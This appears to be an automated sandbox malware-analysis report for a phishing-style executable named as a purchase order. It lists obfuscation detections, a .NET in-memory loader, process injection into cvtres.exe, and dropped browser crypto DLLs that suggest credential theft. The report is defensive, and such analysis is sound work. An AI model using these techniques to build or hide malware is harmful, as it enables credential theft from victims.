Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BROTHERS.pdbBSJB source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250033059.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.251914030.0000000004A80000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266909184.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.1.dr
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BROTHERS.pdb source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250033059.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.251914030.0000000004A80000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265791708.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.267391292.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278239292.00000000081F8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265263773.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278214445.00000000081F0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278227969.00000000081F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.1.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283893964.000000000826C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268086743.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.1.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266110570.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265641906.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.1.dr
Source: Binary string: vcruntime140.i386.pdb source: cvtres.exe, 00000001.00000003.276245137.00000000066AC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.290995859.0000000007858000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.1.dr
Source: Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283893964.000000000826C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283972789.0000000008270000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266461893.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283512359.0000000008234000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267167676.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283458551.0000000008230000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.1.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.1.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266581701.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.1.dr
Source: Binary string: msvcp140.i386.pdbGCTL source: cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270034811.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270237118.0000000006694000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.264625947.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268329300.0000000007874000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265086491.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278214445.00000000081F0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.264949325.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278227969.00000000081F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278214445.00000000081F0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.267898785.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283784153.000000000825C000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268979819.0000000007870000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.1.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: NUEVA ORDEN-MATSA 10-2022,.exe, A/c0a43d74762739676b89f90c9ce1afd20.cs .Net Code: c5175757267e421e06d6570ba39442962 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.NUEVA ORDEN-MATSA 10-2022,.exe.760000.0.unpack, A/c0a43d74762739676b89f90c9ce1afd20.cs .Net Code: c5175757267e421e06d6570ba39442962 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040D86E push 0040D89Ch; ret 1_2_0040D894
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040D870 push 0040D89Ch; ret 1_2_0040D894
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004140C0 push 004140ECh; ret 1_2_004140E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004108C8 push 004108F4h; ret 1_2_004108EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B0F7 push 0040B124h; ret 1_2_0040B11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B0F8 push 0040B124h; ret 1_2_0040B11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408080 push 004080B8h; ret 1_2_004080B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408158 push 00408196h; ret 1_2_0040818E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408970 push 004089E4h; ret 1_2_004089DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00408994 push 004089E4h; ret 1_2_004089DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004089AC push 004089E4h; ret 1_2_004089DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00415208 push 0041528Ch; ret 1_2_00415284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040CA0C push 0040CA3Ch; ret 1_2_0040CA34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040CA10 push 0040CA3Ch; ret 1_2_0040CA34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00417AEC push 00417B18h; ret 1_2_00417B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00404BC0 push 00404C11h; ret 1_2_00404C09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040D3C0 push 0040D3ECh; ret 1_2_0040D3E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040A3E4 push 0040A410h; ret 1_2_0040A408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040C390 push 0040C3C0h; ret 1_2_0040C3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040C394 push 0040C3C0h; ret 1_2_0040C3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040A3AC push 0040A3D8h; ret 1_2_0040A3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040DC44 push 0040DCA3h; ret 1_2_0040DC9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040DC0C push 0040DC38h; ret 1_2_0040DC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B41E push 0040B44Ch; ret 1_2_0040B444
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B420 push 0040B44Ch; ret 1_2_0040B444
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040A438 push 0040A464h; ret 1_2_0040A45C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0041A4F4 push 0041A51Ah; ret 1_2_0041A512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00414C80 push 00414CACh; ret 1_2_00414CA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00409488 push 004094B8h; ret 1_2_004094B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0041A4AC push 0041A4E8h; ret 1_2_0041A4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_00418CB8 push 00418CE8h; ret 1_2_00418CE0
PE file contains sections with non-standard names
Source: msvcp140.dll.1.dr Static PE information: section name: .didat
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 1_2_0040B15C
PE file contains an invalid checksum
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: real checksum: 0x30f90 should be: 0x3453f
Binary contains a suspicious time stamp
Source: ucrtbase.dll.1.dr Static PE information: 0x9E3394C7 [Sun Feb 8 16:22:31 2054 UTC]
Source: initial sample Static PE information: section name: .text entropy: 7.625269203895489
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-console-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\ucrtbase.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\softokn3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File created: C:\Users\user\AppData\Local\Temp\1C1DB9BC\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
